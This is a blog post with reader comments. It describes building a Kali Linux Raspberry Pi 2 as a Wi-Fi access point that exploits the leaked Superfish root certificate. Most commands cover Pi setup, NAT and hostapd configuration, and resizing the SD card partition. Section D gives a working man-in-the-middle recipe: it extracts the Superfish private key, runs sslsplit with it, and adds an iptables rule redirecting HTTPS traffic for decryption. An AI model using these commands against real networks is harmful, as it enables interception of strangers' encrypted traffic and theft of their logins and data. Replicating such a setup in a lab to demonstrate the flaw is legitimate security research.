Robert Graham wrote a handy guide for a Superfish Exploit using Raspbian on a Raspberry Pi 2 (RP2). He mentioned wanting to run it on Kali instead so I decided to take that for a spin. Here are the steps. It took me about 20 minutes to get everything running.
A: Preparation of kali
- Download kali image (462.5MB) provided by @essobi
- Extract kali-0.1-rpi.img.xz – I used 7-zip
- Write kali-0.1-rpi.img to SD – I used Win32DiskImager
- Insert the SD to RP2, connect network and power-up
- SSH to kali using default user:password (root:toor)
MD5: 277ac5f1cc2321728b2e5dcbf51ac7ef SHA-1: d45ddaf2b367ff5b153368df14b6a781cded09f6
B: Configuration of kali. In brief, I changed the default password and added a user account. I gave the new account sudo rights, then I logged out and back in as the new user. After that I updated kali for pi (rpi-update) and changed the ssh keys.
- root@kali:~$ passwd
- root@kali:~$ adduser davi
- root@kali:~$ visudo
- davi@kali:~$ sudo apt-get install curl
- davi@kali:~$ sudo apt-get update && sudo apt-get upgrade
- davi@kali:~$ sudo wget https://raw.githubusercontent.com/Hexxeh/rpi-update/master/rpi-update -O /usr/bin/rpi-update
- davi@kali:~$ sudo chmod 755 /usr/bin/rpi-update
- davi@kali:~$ sudo rpi-update
- root@kali:~$ sudo dpkg-reconfigure openssh-server
- davi@kali:~$ sudo reboot
C: Configuration of network as Robert did – follow the elinux guide for details on how to edit the files.
- davi@kali:~$ sudo apt-get install hostapd udhcpd
- davi@kali:~$ sudo vi /etc/default/udhcpd
- davi@kali:~$ sudo ifconfig wlan0 192.168.42.1
- davi@kali:~$ sudo vi /etc/network/interfaces
- davi@kali:~$ sudo vi /etc/hostapd/hostapd.conf
- davi@kali:~$ sudo sh -c “echo 1 > /proc/sys/net/ipv4/ip_forward”
- davi@kali:~$ sudo vi /etc/sysctl.conf
- davi@kali:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
- davi@kali:~$ sudo iptables -A FORWARD -i eth0 -o wlan0 -m state –state RELATED,ESTABLISHED -j ACCEPT
- davi@kali:~$ sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
- davi@kali:~$ sudo sh -c “iptables-save > /etc/iptables.ipv4.nat”
- davi@kali:~$ sudo vi /etc/network/interfaces
- davi@kali:~$ sudo service hostapd start
- davi@kali:~$ sudo service udhcpd start
- davi@kali:~$ sudo update-rc.d hostapd enable
- davi@kali:~$ sudo update-rc.d udhcpd enable
For example if instead of a static address you wanted the interface to grab a dynamic one:
- davi@kali:~$ sudo vi /etc/network/interfaces auto wlan0
iface wlan0 inet dhcp
wpa-ssid "SSID"
wpa-psk "passphrase"
D: Configuration for Superfish Exploit. These commands follow Robert’s. I downloaded his test.pem file, duplicated it into a certificate file and then used vi to remove the redundant bits.
- davi@kali:~$ wget https://github.com/robertdavidgraham/pemcrack/blob/master/test.pem
- davi@kali:~$ cp test.pem ca.crt
- davi@kali:~$ vi test.pem
- davi@kali:~$ vi ca.crt
- davi@kali:~$ openssl rsa -in test.pem -out ca.key
- davi@kali:~$ sudo apt-get install sslsplit
- davi@kali:~$ mkdir /var/log/sslsplit
- davi@kali:~$ sslsplit -D -l connections.log -S /var/log/sslsplit -k ca.key -c ca.crt ssl 0.0.0.0 8443 &
- davi@kali:~$ sudo iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT –to-ports 8443
Obviously Robert did hard work figuring this out. I’ve just tested the basics to see what it would take to setup a Kali instance. If I test further or script it I’ll update this page. Also perhaps I should mention I have a couple hardware differences from Robert’s guide:
- RP2. Cost: $35
- 32GB SanDisk micro SD (which is FAR larger than necessary). Cost: $18
- Edimax EW-7811Un wireless USB able to do “infrastructure mode”. Cost $10
Total cost: (re-purposed from other projects) $35 + $18 + $10 = $63
Total time: 20 minutes
Because I used such a large SD card, and the Kali image was so small, I also resized the partitions to make use of all that extra space.
Check starting use percentages:
- davi@kali:~$ df -k
Filesystem 1K-blocks Used Available Use% Mounted on rootfs 2896624 1664684 1065084 61% / /dev/root 2896624 1664684 1065084 61% / devtmpfs 470368 0 470368 0% /dev tmpfs 94936 460 94476 1% /run tmpfs 5120 0 5120 0% /run/lock tmpfs 189860 0 189860 0% /run/shm
Resize the partition
- davi@kali:~$ sudo fdisk /dev/mmcblk0
- type “p” (print partition table and NOTE START NUMBER FOR PARTITION 2)
- type “d” (delete partition)
- type “2” (second partition)
- type “n” (new partition)
- type “p” (primary partition)
- type “2” (second partition)
- hit “enter” to select default start number (SHOULD MATCH START NUMBER NOTED)
- hit “enter” to select default end number
- type “w” (write partition table)
- davi@kali:~$ sudo reboot
- davi@kali:~$ sudo resize2fs /dev/mmcblk0p2
Check finished use percentages:
- davi@kali:~$ df -k
Filesystem 1K-blocks Used Available Use% Mounted on rootfs 30549476 1668420 27590636 6% / /dev/root 30549476 1668420 27590636 6% / devtmpfs 470368 0 470368 0% /dev tmpfs 94936 464 94472 1% /run tmpfs 5120 0 5120 0% /run/lock tmpfs 189860 0 189860 0% /run/shm
After hours of finding a guide that I could follow easily – this is by far the best set of instructions for re-sizing partitions! Well for me at it was! Thank you very much for taking the time to write this guide – much appreciated.
Thanks for the guide. I’m however stuck now to disable overscan for my Pi with Kali. as ther is no boot/config.txt I’m finding it very hard to use my complete screen. Can you please help me out here?
The instructions are concise and work. Thanks.
Michael